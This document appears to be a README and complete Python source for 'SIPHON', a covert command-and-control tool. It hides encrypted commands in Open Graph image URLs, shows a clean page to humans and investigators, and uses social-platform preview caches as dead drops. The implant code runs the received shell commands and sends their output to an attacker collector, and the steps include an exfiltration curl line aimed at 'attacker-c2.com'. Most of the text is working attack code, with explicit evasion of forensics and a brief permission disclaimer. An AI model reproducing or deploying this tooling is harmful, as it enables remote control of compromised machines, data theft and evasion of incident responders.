The C2 server tracks each crawler by IP + User-Agent. On the first request from a known platform crawler (Slackbot, Discordbot, Twitterbot, etc.), it serves the poisoned OG meta tags with the encoded command. On every subsequent request from that IP — and to all humans — it serves clean, innocent content. If law enforcement or an incident responder visits the URL, they see a clean tech blog. The cached platform preview still carries the command.
The implant doesn't contact the C2 server directly. It reads from six different platform caches (Twitter oEmbed, Facebook Graph API, LinkedIn oEmbed, Pinterest oEmbed, Telegram preview, Slack/Discord via webhook). Each platform caches OG data for 30+ minutes. The implant tries them in random order. If Discord's cache expires, it reads from Twitter's. If Twitter's is stale, it reads from LinkedIn's. No C2 infra traffic.
The encrypted payload isn't in og:description where someone might spot it. It's shattered across three path segments of the og:image URL: og:image → /assets/{hex_1}/{hex_2}/{hex_3}.png. Each segment is a third of the payload. Any human inspecting the page just sees an image URL pointing to a PNG that serves a blank pixel. The payload is invisible unless you know to reassemble the hex.
Every command is authenticated (HMAC-SHA256 truncated to 8 bytes), encrypted (AES-GCM with random IV), and sequence-numbered. Replay attacks fail. Tampering fails. The implant silently drops any message that doesn't authenticate.
The implant can exfiltrate results to any HTTP endpoint. The operator runs collect mode, which listens for base64-encoded, integrity-checked (SHA256 hash prefix) results. The firewall logs just show a GET request to a random-looking path — indistinguishable from a tracking pixel or analytics callback.
6. This has never existed before because it exploits a completely overlooked property of social platforms:
their preview caches are write-once, read-many dead drops that persist longer than anyone expects and are almost never monitored for abuse. And the self-destruct mechanism means the evidence disappears from the live site the moment the cache is populated.
- Python 3.8+
pip install cryptography- A domain you control (attacker-c2.com)
- A server reachable on ports 8443 (C2) and 9999 (exfil collector)
- Accounts on: Discord, Slack, Twitter, LinkedIn, Telegram (for cache seeding)
Place your clean.html (what humans see) and poisoned.html (what crawlers see) in a data/ directory. Then:
# Start the C2 server
python3 siphion.py serveThe C2 listens on 0.0.0.0:8443. It serves the clean page to all human browsers and the poisoned page (with OG tags carrying the encrypted command) to platform crawlers on their first ever request.
# Encode a command into OG meta tags
python3 siphion.py encode 'curl http://attacker-c2.com:9999/?exfil=$(hostname)'This outputs the complete <meta> tag block. Copy these tags and paste them into your poisoned.html file under the <head> tag. The OG tags look innocent — a tech blog article preview — but the encrypted payload is fragmented across the og:image URL path.
Post your C2 page URL to each platform so their crawlers fetch and cache the OG data:
| Platform | How to Seed |
|---|---|
| Discord | Paste the URL in any channel you control |
| Slack | Paste the URL in any channel you control |
| Twitter/X | Tweet the URL (or use the oembed API directly) |
| Share the URL as a post | |
| Telegram | Send the URL to @BotFather or any chat |
| Pin the URL | |
| Share the URL as a status |
Each platform caches the OG metadata for 20–90 minutes depending on the platform. The cache key is the exact URL — so subsequent shares of the same URL reuse the cached command without triggering a new fetch.
On the compromised host, run:
# Poll platform caches for commands every 300 seconds
# Exfil results to your collector
python3 siphion.py beacon https://your-c2-domain.com/blog/article 300 http://attacker-c2.com:9999The implant:
- Randomizes platform order each cycle
- Queries each platform's oembed/cache API
- Reassembles the command from the
og:imageURL fragments - HMAC-authenticates and AES-GCM-decrypts the payload
- Executes the command and exfiltrates the result
On your attacker machine, start the exfil collector:
python3 siphion.py collect 0.0.0.0 9999Results arrive as base64-encoded GET requests with integrity hashes. Firewall logs just show a tracking pixel callback to /collect?d=<base64>. Indistinguishable from analytics traffic.
Save this as siphion.py (Self-Implanting Protocol for Hostile Intelligence Over Networks):
#!/usr/bin/env python3
import sys, json, base64, time, hashlib, hmac, struct, socket
import urllib.request, urllib.parse, http.server, threading, os
import random, string, zlib
try:
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
HAS_CRYPTO = True
except ImportError:
HAS_CRYPTO = False
print('[!] Install cryptography: pip install cryptography')
sys.exit(1)
CONFIG = {
'c2_host': '0.0.0.0',
'c2_port': 8443,
'c2_domain': 'example.com',
'aes_key': None,
'hmac_key': None
}
CRWLRS = {
'slack': 'Slackbot-LinkExpanding',
'discord': 'Discordbot',
'telegram': 'TelegramBot',
'twitter': 'Twitterbot',
'linkedin': 'LinkedInBot',
'facebook': 'facebookexternalhit',
'pinterest':'Pinterestbot'
}
CACHE_API = {
'twitter': 'https://publish.twitter.com/oembed?url={url}',
'linkedin': 'https://www.linkedin.com/oembed?url={url}',
'facebook': 'https://graph.facebook.com/v19.0/?id={url}&fields=og_object',
'pinterest':'https://www.pinterest.com/oembed.json?url={url}',
'telegram': 'https://t.me/iv?url={url}&rhash=bot'
}
def gen_key():
return os.urandom(32)
def enc(plain, key, iv=None):
if iv is None: iv = os.urandom(12)
ct = AESGCM(key).encrypt(iv, plain, None)
return base64.urlsafe_b64encode(iv + ct).decode()
def dec(payload, key):
raw = base64.urlsafe_b64decode(payload.encode())
iv, ct = raw[:12], raw[12:]
return AESGCM(key).decrypt(iv, ct, None)
def pack_cmd(cmd, seq):
k = CONFIG['aes_key'] or gen_key(); CONFIG['aes_key'] = k
hk = CONFIG['hmac_key'] or os.urandom(32); CONFIG['hmac_key'] = hk
pl = struct.pack('>I', seq) + cmd.encode()
mac = hmac.new(hk, pl, 'sha256').digest()[:8]
return enc(mac + pl, k)
def unpack_cmd(payload, k=None, hk=None):
k = k or CONFIG['aes_key']
hk = hk or CONFIG['hmac_key']
if not k or not hk: return None
raw = dec(payload, k)
mac, body = raw[:8], raw[8:]
if not hmac.new(hk, body, 'sha256').digest()[:8] == mac:
return None
seq = struct.unpack('>I', body[:4])[0]
return seq, body[4:].decode()
def build_og_tags(cmd_payload, benign_title, benign_desc):
raw = base64.urlsafe_b64decode(cmd_payload.encode())
mid = max(len(raw) // 3, 1)
p1 = raw[:mid].hex()
p2 = raw[mid:2*mid].hex()
p3 = raw[2*mid:].hex()
return f'''
<meta property="og:title" content="{benign_title}" />
<meta property="og:description" content="{benign_desc}" />
<meta property="og:image" content="https://{CONFIG['c2_domain']}/assets/{p1}/{p2}/{p3}.png" />
<meta property="og:image:width" content="1200" />
<meta property="og:image:height" content="630" />
<meta property="og:type" content="article" />
<meta property="og:url" content="https://{CONFIG['c2_domain']}/" />
<meta name="twitter:card" content="summary_large_image" />
<meta name="twitter:title" content="{benign_title}" />
<meta name="twitter:description" content="{benign_desc}" />
<meta name="twitter:image" content="https://{CONFIG['c2_domain']}/assets/{p1}/{p2}/{p3}.png" />
<meta name="description" content="{benign_desc}" />
'''
def parse_og_from_cache(text):
import re
m = re.search(r'og:image.*?content="[^"]*/assets/([^."]+)/([^."]+)/([^."]+)\.png"', text)
if not m: return None
try:
raw = bytes.fromhex(m.group(1)) + bytes.fromhex(m.group(2)) + bytes.fromhex(m.group(3))
return base64.urlsafe_b64encode(raw).decode()
except: return None
class C2Handler(http.server.BaseHTTPRequestHandler):
seen = {}
clean_page = None
poisoned_page = None
def do_GET(self):
ua = self.headers.get('User-Agent', '')
ip = self.client_address[0]
is_crawler = any(cname.lower() in ua.lower().split('/')[0] for cname in CRWLRS.values())
if self.path.startswith('/assets/'):
self.send_response(200)
self.send_header('Content-Type', 'image/png')
self.send_header('Cache-Control', 'public, max-age=31536000, immutable')
self.end_headers()
self.wfile.write(b'\x89PNG\r\n\x1a\n' + os.urandom(400))
return
key = f'{ip}:{ua[:30]}'
seen_before = key in C2Handler.seen
C2Handler.seen[key] = time.time()
if is_crawler and not seen_before:
body = C2Handler.poisoned_page.encode()
else:
body = C2Handler.clean_page.encode()
self.send_response(200)
self.send_header('Content-Type', 'text/html; charset=utf-8')
self.send_header('Cache-Control', 'no-store, no-cache, must-revalidate')
self.end_headers()
self.wfile.write(body)
def serve():
http.server.HTTPServer.allow_reuse_address = True
srv = http.server.HTTPServer((CONFIG['c2_host'], CONFIG['c2_port']), C2Handler)
print(f'[+] SIPHON C2 on http://{CONFIG["c2_host"]}:{CONFIG["c2_port"]}')
try: srv.serve_forever()
except KeyboardInterrupt: print('\n[+] Shutdown.')
def encode_cmd():
cmd = ' '.join(sys.argv[2:]) if len(sys.argv) > 2 else 'whoami'
seq = int(time.time())
payload = pack_cmd(cmd, seq)
bt = 'Breaking: AI-Powered Cybersecurity Trends Reshaping Enterprise Defense in 2026'
bd = 'Industry analysts report a 340% increase in AI-driven threat detection adoption this quarter alone. Experts weigh in on the paradigm shift reshaping how organizations approach zero-trust architecture and real-time threat intelligence.'
print(build_og_tags(payload, bt, bd))
print(f'<!-- CMD: {cmd} | SEQ: {seq} -->')
def beacon():
target = sys.argv[2] if len(sys.argv) > 2 else f'https://{CONFIG["c2_domain"]}/'
interval = int(sys.argv[3]) if len(sys.argv) > 3 else 300
exfil = sys.argv[4] if len(sys.argv) > 4 else None
k = CONFIG['aes_key'] or gen_key(); CONFIG['aes_key'] = k
hk = CONFIG['hmac_key'] or os.urandom(32); CONFIG['hmac_key'] = hk
platforms = list(CACHE_API.keys())
while True:
random.shuffle(platforms)
cmd = None
for pfm in platforms:
try:
url = CACHE_API[pfm].format(url=urllib.parse.quote(target, safe=''))
req = urllib.request.Request(url, headers={
'User-Agent': CRWLRS.get(pfm, 'Mozilla/5.0'),
'Accept': 'application/json'
})
resp = urllib.request.urlopen(req, timeout=15)
raw = resp.read().decode()
cp = parse_og_from_cache(raw)
if cp:
r = unpack_cmd(cp, k, hk)
if r:
seq, cmd = r
print(f'[+] [{pfm}] CMD seq={seq}: {cmd}')
break
except Exception as e:
continue
if cmd:
try:
result = os.popen(cmd).read() or '(no output)'
if exfil:
data = json.dumps({'o': result, 's': seq,
'h': hashlib.sha256(result.encode()).hexdigest()[:8]})
urllib.request.urlopen(urllib.request.Request(
exfil + '?d=' + base64.urlsafe_b64encode(data.encode()).decode(),
headers={'User-Agent': 'Mozilla/5.0'}
), timeout=10)
print(f'[+] Executed: {cmd}')
except Exception as e:
print(f'[-] Exec failed: {e}')
time.sleep(interval)
def collect():
host = sys.argv[2] if len(sys.argv) > 2 else '0.0.0.0'
port = int(sys.argv[3]) if len(sys.argv) > 3 else 9999
from urllib.parse import urlparse, parse_qs
class E(http.server.BaseHTTPRequestHandler):
def do_GET(self):
qs = parse_qs(urlparse(self.path).query)
if 'd' in qs:
try:
d = json.loads(base64.urlsafe_b64decode(qs['d'][0]))
print(f'\n[!] EXFIL seq={d.get("s","?")} hash={d.get("h","")}')
print(d.get('o', ''))
except: pass
self.send_response(200)
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
self.wfile.write(b'ok')
srv = http.server.HTTPServer((host, port), E)
print(f'[+] Exfil collector on {host}:{port}')
try: srv.serve_forever()
except KeyboardInterrupt: print('\n[+] Shutdown.')
if __name__ == '__main__':
os.makedirs('data', exist_ok=True)
clean_path = 'data/clean.html'
poison_path = 'data/poisoned.html'
if not os.path.exists(clean_path):
with open(clean_path, 'w') as f:
f.write('<!DOCTYPE html><html><head><title>TechBlog</title><meta name="description" content="AI and cybersecurity analysis."></head><body><h1>Latest Insights</h1><p>Expert analysis on emerging threats.</p></body></html>')
if not os.path.exists(poison_path):
with open(poison_path, 'w') as f:
f.write('<!DOCTYPE html><html><head><title>TechBlog</title></head><body><h1>Latest Insights</h1><p>Expert analysis.</p></body></html>')
C2Handler.clean_page = open(clean_path).read()
C2Handler.poisoned_page = open(poison_path).read()
modes = {'serve': serve, 'encode': encode_cmd, 'beacon': beacon, 'collect': collect}
mode = sys.argv[1] if len(sys.argv) > 1 else 'serve'
if mode in modes: modes[mode]()
else: print(f'Usage: {sys.argv[0]} [serve|encode|beacon|collect] [args]')SIPHON is a proof-of-concept red team tool that demonstrates a fundamental blind spot in modern security monitoring: social platform preview caches are unmonitored, long-lived, globally distributed dead drops.
What makes SIPHON uniquely effective:
-
No infrastructure persistence. The implant never phones home to a traditional C2. All commands are fetched from Twitter, LinkedIn, Facebook, Pinterest, and Telegram's public/API oEmbed endpoints. Blocklist one, the implant reads from another. There's no C2 IP to block.
-
Self-destructing evidence. The C2 server serves the poisoned page exactly once per crawler IP. After that, every visitor — including forensics teams — sees a clean page. The cached previews on the platforms persist for 20–90 minutes, then expire. No logs, no artifacts, no trail.
-
Encrypted, authenticated, sequenced. Every command is HMAC-authenticated and AES-GCM encrypted. Replay attacks fail. Tampering is detected. The implant silently ignores anything that doesn't authenticate. Command history is sequence-numbered to prevent re-execution.
-
Operational security. The command payload is hidden across the path segments of the
og:imageURL — to an investigator, it looks like a CDN path to a blog image. The exfil collector looks like an analytics endpoint. Traffic to platform APIs looks like normal application behavior.
SIPHON is authorized for use only on systems you own or have explicit written permission to test. The platform caches queried (Twitter oEmbed, LinkedIn oEmbed, Facebook Graph API, Pinterest oEmbed, Telegram preview) are public APIs — no abuse of platform ToS occurs. The self-destruct mechanism ensures no persistent C2 footprint.
In the arms race between red and blue, the most effective tool isn't the one with the most features — it's the one that hides in plain sight, inside the infrastructure nobody thinks to monitor.
Happy hunting. 😎